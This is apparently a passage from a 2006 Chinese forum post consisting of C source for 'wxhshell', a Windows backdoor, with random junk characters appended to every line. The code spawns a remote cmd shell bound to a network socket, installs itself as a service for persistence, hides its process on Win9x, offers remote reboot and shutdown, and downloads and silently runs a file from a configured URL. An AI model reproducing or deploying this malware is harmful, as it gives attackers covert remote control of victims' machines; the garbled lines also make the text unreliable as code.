    switch(cmd[0]) { T9|m7  
  H\"sgoJ  
  // 帮助 aH(J,XY  
  case '?': { S/hQZHZHg,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); un"Gozmt5  
    break; \##zR_%  
  } JPI3[.o  
  // 安装 h|9L5  
  case 'i': { sRR( `0Zp  
    if(Install())  `,*3[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F@jZ ho  
    else fCn^=8KOZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GT.,  
    break; #powub  
    } .WJ YQi  
  // 卸载 =!A_^;NQf  
  case 'r': {  :A_@,Q  
    if(Uninstall()) {%5eMyF#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2DDtu[}  
    else T@B/xAq5!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  @tnz]^V  
    break; 2%Ri,4SRb  
    } ;%9|k U  
  // 显示 wxhshell 所在路径 / &5,3rU.G  
  case 'p': { OX7M8cmc+  
    char svExeFile[MAX_PATH]; #$07:UJ  
    strcpy(svExeFile,"\n\r"); Hyl%mJ  
      strcat(svExeFile,ExeFile); .o^l z 9:  
        send(wsh,svExeFile,strlen(svExeFile),0); ibk6|pp  
    break; wH&!W~M  
    } ;?i W%:_,  
  // 重启 >z>!Luw  
  case 'b': { zrgk]n;Pq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :J@ gmY:C  
    if(Boot(REBOOT)) hBUn \~z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z'n:@E  
    else { I-*S&SiXjI  
    closesocket(wsh); &)ChQZA  
    ExitThread(0); Cctu|^V  
    } }B+C~@j  
    break; nh>vixe  
    } 7(8;t o6(  
  // 关机 _7 L-<  
  case 'd': { @o _}g !9=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Hg izW  
    if(Boot(SHUTDOWN)) osAd1<EIC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2r?G6D|  
    else { Jhhb7uU+  
    closesocket(wsh); oW*16>IN9l  
    ExitThread(0); kJsN|=  
    } d.d/<  
    break; E A1?)|}n  
    } M`!H"R7  
  // 获取shell J @1!Oq>  
  case 's': { "(~^w=d:$  
    CmdShell(wsh); WlC:l  
    closesocket(wsh); u0c1:Uv#~e  
    ExitThread(0); '8H4shYg  
    break; 9IfmW^0  
  } /]Md~=yNp  
  // 退出 &.Qrs :U  
  case 'x': { ~IBP|)WA-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XJ| <?   
    CloseIt(wsh); @,7GaK\  
    break; hRCJv#]HC  
    } F_{Yo?_  
  // 离开 R"t,xM  
  case 'q': { ~-Qw.EdC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s$`0yGmQ  
    closesocket(wsh);  {Gk1vcq  
    WSACleanup(); YZ8>OwQz2  
    exit(1); _|I#{jK  
    break; O-hAFKx  
        } Vv=. -&'  
  }  DA,?}  
  } 4p;`C  
-zeG1gr3  
  // 提示信息 MH\dC9%p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =>v#4zFd  
} H40p86@M  
  } 6 V=9M:  
xOmi\VbM  
  return; flbd0NB  
} ~HsJUro  
bJTBjS-7  
// shell模块句柄 3bH'H*2  
int CmdShell(SOCKET sock) K Z91-  
{ &@OT*pNna  
STARTUPINFO si; _Q4)X)F  
ZeroMemory(&si,sizeof(si)); ;dgp+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E]-/Zbvdv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >KhOz[Zg  
PROCESS_INFORMATION ProcessInfo; JjTegQN  
char cmdline[]="cmd"; 0 /U{p,r6`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5Yq@;e  
  return 0; lX4 x*  
} 7;wd(8  
v PG},m~-  
// 自身启动模式 -x`@6  
int StartFromService(void) o]oum,Q  
{ &d^m 1  
typedef struct 8'io$ 6d=  
{ je=a/Y=%U{  
  DWORD ExitStatus; JP [K;/  
  DWORD PebBaseAddress; yl+gL?IES  
  DWORD AffinityMask; T+H!_ky`A  
  DWORD BasePriority; $B5aje}i  
  ULONG UniqueProcessId; J}K$(;:  
  ULONG InheritedFromUniqueProcessId; -X2Buz8  
}   PROCESS_BASIC_INFORMATION; ^8N}9a  
` 7V]y -  
PROCNTQSIP NtQueryInformationProcess; f(y:G^V  
;"-&1qHN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5K8^WK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ar+9\  
f?X)k,m  
  HANDLE             hProcess; H8}oIA"b  
  PROCESS_BASIC_INFORMATION pbi; s R/F"  
k>si5'W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +Q"4Migbe@  
  if(NULL == hInst ) return 0; 5MJS ~(  
&Hs!:43E-<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {8bSB.?R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a~y'RyA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^WWQI+pk  
TJXT-\Vk  
  if (!NtQueryInformationProcess) return 0; &E5g3lf  
|z^^.d~a0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0*{%=M  
  if(!hProcess) return 0; 5 #E`=C%  
O k=hT|}Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lA8`l>I  
V+9 MoT?8  
  CloseHandle(hProcess); z9Rp`z&`E  
J)p l|I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p>8D;#Hm L  
if(hProcess==NULL) return 0; 4ID5q~  
' %o#q6O  
HMODULE hMod; <x>M o   
char procName[255]; ds[|   
unsigned long cbNeeded; OYn}5RN  
/hyN;.hpOO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "oO%`:pb  
T{[=oH+  
  CloseHandle(hProcess); |Ds1  
<frutU16\  
if(strstr(procName,"services")) return 1; // 以服务启动 oe-\ozJ0  
uJ v-4H  
  return 0; // 注册表启动 9InVQCf2J  
} u.xnOcOH!  
'm kLCS  
// 主模块 ,r\o}E2  
int StartWxhshell(LPSTR lpCmdLine) 9CD_ os\h  
{ {F.[&/A  
  SOCKET wsl; E+;7>ja  
BOOL val=TRUE; t;\Y{`  
  int port=0; k\?Ii<m  
  struct sockaddr_in door; { 9q4)R}G  
U&p${IcEm  
  if(wscfg.ws_autoins) Install(); X45%e!  
A6(/;+n  
port=atoi(lpCmdLine); ., 6-u  
c9h6C  
if(port<=0) port=wscfg.ws_port; C e$w8z  
;u)I\3`*!  
  WSADATA data; A2Gevj?F$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7hPY_W y  
*gWwALGo5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [.wYdv35  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YNi.SXH  
  door.sin_family = AF_INET; G" "ZI$`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <7jW _R@  
  door.sin_port = htons(port); -nV9:opD  
P/_['7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o?\?@H  
closesocket(wsl); 1iF1GkLEq  
return 1; Rnq7LGy  
} /mzlH  
9XB8VKu8  
  if(listen(wsl,2) == INVALID_SOCKET) { f ) L  
closesocket(wsl); l,5+@i`5i  
return 1; 'TB2:W3  
} X=&KayD  
  Wxhshell(wsl); }k.Z~1y  
  WSACleanup(); j1T#yt J  
IW] rb/H  
return 0; ' S/gmn  
IJcsmNWm  
} LZxNAua  
p9-K_dw3X@  
// 以NT服务方式启动 @f3E`8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 63IM]J  
{ O?#7N[7  
DWORD   status = 0; e$Pj.>-<=  
  DWORD   specificError = 0xfffffff; 5\VWCI  
"E4a=YH_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H0vfUF53l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \:LW(&[!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7;@]t^d=$  
  serviceStatus.dwWin32ExitCode     = 0; j^RmrOg ,  
  serviceStatus.dwServiceSpecificExitCode = 0; Yrq~5)%  
  serviceStatus.dwCheckPoint       = 0; ~})e?q;b  
  serviceStatus.dwWaitHint       = 0; 19%i mf  
c'\dFb9a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NL+N%2XG7  
  if (hServiceStatusHandle==0) return; iuul7VR-%  
>uEzw4w  
status = GetLastError(); R[]Mdt<  
  if (status!=NO_ERROR) )MT}+ai  
{ g2Z`zQA7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~WF\  
    serviceStatus.dwCheckPoint       = 0; $U-0)4yf  
    serviceStatus.dwWaitHint       = 0; 6[AL|d DK  
    serviceStatus.dwWin32ExitCode     = status; qwAT>4  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;*2Cm'8E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <<O$ G7c  
    return; SOaoo^,O  
  } zX i 'kB  
)NT*bLRPQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T6$+hUM$1  
  serviceStatus.dwCheckPoint       = 0; _Y m2/3!  
  serviceStatus.dwWaitHint       = 0; P@~yx#G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +:/%3}`  
} -m#)B~)  
P16~Qj  
// 处理NT服务事件,比如:启动、停止 =($xG#g`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _7y[B&g[r  
{ YtLt*Ig%  
switch(fdwControl) 7F~X,Dk_  
{ ?:9"X$XR  
case SERVICE_CONTROL_STOP: +jgSV.N  
  serviceStatus.dwWin32ExitCode = 0; eS){1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E92-^YY  
  serviceStatus.dwCheckPoint   = 0; [()koU#w.  
  serviceStatus.dwWaitHint     = 0; u:  
  { ql~J8G9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b%c9oR's^  
  } <wHP2|<l*  
  return; :[d9tm  
case SERVICE_CONTROL_PAUSE: ML p9y#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _,*r_D61S  
  break; %B?=q@!QWn  
case SERVICE_CONTROL_CONTINUE: ;mi%F3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZYNsHcTY  
  break; +aAc9'k   
case SERVICE_CONTROL_INTERROGATE:  05^h"  
  break; :Llb< MY2  
}; cm+P]8o%{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |k9 C/  
} NwfVL4Xg  
g 0E'g  
// 标准应用程序主函数 /g.U&oI]D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \GU<43J2uo  
{ >8[Z.fX  
zKK9r~ M  
// 获取操作系统版本 yIE!j %u  
OsIsNt=GetOsVer(); y<.5xq5_3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5~S5F3  
_tycgq#  
  // 从命令行安装 /zox$p$?h  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5`_SN74o  
dgP3@`YS  
  // 下载执行文件 .A|@?p[  
if(wscfg.ws_downexe) { wKY_Bo/d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4 H&#q>  
  WinExec(wscfg.ws_filenam,SW_HIDE); O33 `+UV"W  
} f,Ghb~y  
Gp\ kU:}&  
if(!OsIsNt) { |V7*l1  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y|/ 8up  
HideProc(); 5E <kwi  
StartWxhshell(lpCmdLine); o,wUc"CE  
} rW#T vUn  
else $`'/+x"%  
  if(StartFromService()) EBmt9S  
  // 以服务方式启动 yF/jFn  
  StartServiceCtrlDispatcher(DispatchTable); m) D|l1AtF  
else @[v~y"tE}  
  // 普通方式启动 H%lVl8oQ  
  StartWxhshell(lpCmdLine); W!(LF7_!  
XB5DPx  
return 0; )WFr</z5bA  
}
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只看该作者 1 发表于: 2006-10-10
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